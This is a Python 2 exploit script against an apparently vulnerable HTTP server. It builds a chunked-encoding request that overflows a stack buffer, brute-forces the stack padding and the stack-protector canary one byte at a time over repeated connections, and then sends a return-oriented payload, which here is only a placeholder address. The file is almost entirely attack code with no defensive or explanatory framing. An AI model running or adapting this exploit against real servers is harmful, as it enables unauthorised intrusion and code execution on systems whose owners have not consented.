#!/usr/bin/python

import socket
import time
import struct
import sys
import os
import nfqueue

BUFSIZE = 4096
HOST = None
PORT = None

def do_connect(host, port):
	s = socket.socket()
	s.connect((host, port))
	return s

def get_magic_request(sz):
        req  = "GET /html HTTP/1.1\n"
        req += "Host: localhost\n"
        req += "Connection: keep-alive\n"
        req += "Transfer-Encoding: chunked\n"
#       req += "Content-Length: 16\n"
        req += "\n"
        
        extra = sz - len(req) - 17
        extra = extra - 5
        req += "%x" % extra + "\n" + "A"*extra + "\n"

        req += "eeeeeeeeeeeeeeee\t"
        return req

def prepare_request(magic_req_size, overflow_buff_size, padding_bc_size, cookie, cookie_size, padding_ac_size, rop_buf):
	req  = get_magic_request(magic_req_size)	
	req += "A"*overflow_buff_size
	if cookie != None:
		req += "A"*padding_bc_size
		req += struct.pack("<I", cookie)[:cookie_size]
		req += "A"*padding_ac_size
	req += rop_buf
	return req

def get_padding():
	print "[+] Finding stack padding"
	for i in range(0, 1024):
		print "\r\t- Trying: %i" % i,
		sys.stdout.flush()
		req = prepare_request(1024, BUFSIZE, i , 0xff, 1, 0, "")
		s = do_connect(HOST, PORT)
		s.send(req)
		if len(s.recv(1024)) <= 0:
			print "\r\t- Trying: %i (FOUND!)\n" % i
			break
	if i == 1023:
		print "\r\t- Not Found: Are you sure that this is exploitable?"
		return None
	else:
		return i

def get_cookie(padding_bc_size):
	print "[+] Obtaining stack protection cookie"
	cookie = 0x00000000
	for i in range(0,4):
		for j in range(0x00, 0xff):
			print "\r\t- Trying: %x" % cookie,
			sys.stdout.flush()
			req  = prepare_request(1024, BUFSIZE, padding_bc_size, cookie, i+1, 0, "")
			s = do_connect(HOST, PORT)
			s.send(req)
			if (len(s.recv(1024)) > 0):
				break
			cookie += 0x01<<(8*i)
	print "\r\t- Trying: %x (FOUND!)\n" % cookie,
	return cookie
	

def attack(padding_bc_size, cookie, rop_buf):
	print "[+] Time to do the final attack!"
	s = do_connect(HOST, PORT)
	req  = prepare_request(1024, BUFSIZE, padding_bc_size, cookie, 4, 12, rop_buf)
	s.send(req)


data_count = 0
delayed = None

def packet_callback(dummy, payload):
        global data_count
        global delayed
        data = payload.get_data()
        if len(data) > 60:
                data_count += 1
                if (data_count == 1):
                        delayed = payload
                        payload.set_verdict(nfqueue.NF_DROP)
        else:
                data_count = 0


def main():
	global HOST
	global PORT
	HOST = sys.argv[1]
	PORT = int(sys.argv[2])
	
	
	padding_bc_size = get_padding()
	if (padding_bc_size == None):
		exit(0)

	cookie = get_cookie(padding_bc_size)
	
	#padding_bc_size = 0
	#cookie = 0xc2ad0300
	
	rop_buf  = struct.pack("<I", 0xdeadcafe)

	attack(padding_bc_size, cookie, rop_buf)



main()
